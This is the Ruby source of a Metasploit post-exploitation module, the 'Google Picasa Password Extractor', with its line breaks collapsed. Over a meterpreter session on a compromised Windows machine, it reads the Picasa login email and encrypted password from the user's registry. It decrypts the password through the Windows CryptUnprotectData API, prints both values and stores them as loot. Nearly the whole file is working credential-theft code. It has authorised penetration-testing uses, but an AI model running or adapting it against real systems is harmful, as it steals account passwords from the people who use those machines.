## # $Id$ ##
## # This file is part of the
Metasploit Framework and may be subject to # redistribution and
commercial restrictions. Please see the Metasploit # Framework
web site for more information on licensing and terms of use. #
http://metasploit.com/framework/ ##
require 'msf/core'
require 'rex' require 'msf/core/post/windows/registry' require
'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry include
Msf::Post::Windows::Priv include Msf::Auxiliary::Report
def initialize(info={}) super( update_info( info, 'Name' =>
'Google Picasa Password Extractor', 'Description' => %q{This
module extracts and decrypts the login passwords stored by Google
Picasa.}, 'License' => MSF_LICENSE, 'Author' => [
'SecurityXploded Team', #www.SecurityXploded.com 'Sil3ntDre4m
<sil3ntdre4m[at]gmail.com>', ], 'Version' => '$Revision$',
'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ]
)) end
def prepare_railgun rg = session.railgun
if (!rg.get_dll('crypt32')) rg.add_dll('crypt32') end
if (!rg.crypt32.functions["CryptUnprotectData"])
rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
["PBLOB","pDataIn", "in"], ["PWCHAR", "szDataDescr", "out"],
["PBLOB", "pOptionalEntropy", "in"], ["PDWORD", "pvReserved",
"in"], ["PBLOB", "pPromptStruct", "in"], ["DWORD", "dwFlags",
"in"], ["PBLOB", "pDataOut", "out"] ]) end end
def decrypt_password(data) rg = session.railgun pid =
client.sys.process.getpid process = client.sys.process.open(pid,
PROCESS_ALL_ACCESS)
mem = process.memory.allocate(512)
process.memory.write(mem, data)
if
session.sys.process.each_process.find { |i| i["pid"] == pid}
["arch"] == "x86" addr = [mem].pack("V") len =
[data.length].pack("V") ret =
rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0,
8) len, addr = ret["pDataOut"].unpack("V2") else addr =
[mem].pack("Q") len = [data.length].pack("Q") ret =
rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0,
16) len, addr = ret["pDataOut"].unpack("Q2") end
return
"" if len == 0 decrypted_pw = process.memory.read(addr, len)
return decrypted_pw end
def get_registry psecrets = ""
begin print_status("Looking in registry for stored login
passwords by Picasa ...")
username =
registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
'GaiaEmail') password =
registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
'GaiaPass')
if username != nil and password != nil passbin
= [password].pack("H*") pass = decrypt_password(passbin)
if pass != nil print_status("Username: #{username}")
print_status("Password: #{pass}") secret = "#{username}:#{pass}"
psecrets << secret end end
#For early versions of
Picasa3 username =
registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaEmail') password =
registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaPass')
if username != nil and password != nil passbin
= [password].pack("H*") pass = decrypt_password(passbin)
if pass != nil print_status("Username: #{username}")
print_status("Password: #{pass}")
secret =
"#{username}:#{pass}" psecrets << secret end end
#
store the loot if psecrets != "" path = store_loot(
"picasa.decrypted", "text/plain", session, psecrets,
"decrypted_picasa_data.txt", "Decrypted Picasa Passwords")
print_status("Decrypted passwords saved in: #{path}") end
rescue ::Exception => e print_error("An error has occured:
#{e.to_s}") end end
def run uid =
session.sys.config.getuid #Decryption only works in context of
user's account.
if is_system? print_error("This module is
running under #{uid}.") print_error("Automatic decryption will
not be possible.") print_error("Migrate to a user process to
achieve successful decryption (e.g. explorer.exe).") else
prepare_railgun get_registry() end
print_status("Done")
end end
|